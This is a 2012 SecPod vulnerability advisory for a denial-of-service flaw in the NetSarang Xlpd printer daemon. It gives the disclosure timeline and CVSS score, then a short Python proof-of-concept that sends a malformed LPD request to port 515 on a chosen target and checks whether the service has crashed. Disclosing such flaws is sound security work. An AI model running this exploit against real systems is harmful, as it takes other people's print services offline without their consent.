##############################################################################
#
# Title    : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netsarang.com
# Advisory : http://secpod.org/blog/?p=457
#            http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt
#            http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py
# Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186
# Date     : 01/02/2012
#
##############################################################################

SecPod ID: 1033					14/12/2011 Issue Discovered
						20/01/2012 Vendor Notified
						No Response
						01/02/2012 Advisory Released

Class: Denial Of Service			Severity: Medium


Overview:
---------
NetSarang Xlpd Printer Daemon version 4 is prone to a denial of service 
vulnerability.


Technical Description:
----------------------
The vulnerability is caused due to improper validation of malicious LPD 
request sent to printer daemon, which allows remote attackers to crash the 
service.


Impact:
--------
Successful exploitation could allow an attacker to cause denial of service
condition.


Affected Software:
------------------
NetSarang Xlpd 4 Build 0100
NetSarang Xmanager Enterprise 4 Build 0186


Tested on:
-----------
NetSarang Xlpd 4 Build 0100 on Windows XP SP3.
NetSarang Xmanager Enterprise 4 Build 0186 on Windows XP SP3.
Older versions might be affected.


References:
-----------
http://www.netsarang.com
http://secpod.org/blog/?p=457


Proof of Concept:
----------------
http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py


Solution:
----------
Not available


Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = NONE
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = PARTIAL
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
        Risk factor            = Medium

Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.


#!/usr/bin/python
##############################################################################
#
# Title    : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netsarang.com
# Advisory : http://secpod.org/blog/?p=457
#            http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt
#            http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py
# Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186
# Date     : 01/02/2012
#
##############################################################################

import socket,sys,time

port = 515

if len(sys.argv) < 2:
    print "\n[-] Usage: %s <target addr>" % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]

sockObj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
    sockObj.connect((target,port))
except:
    print "\n[-] Xlpd service is down."
    sys.exit(0)

sockObj.send("crap"+"LF")
sockObj.send("LF")
#Will wait for a while
time.sleep(5)
sockObj.close()

try:
    sockObj.connect((target,port))
except:
    print "\n[-] Xlpd service is crashed, unble to connect"

sys.exit(0)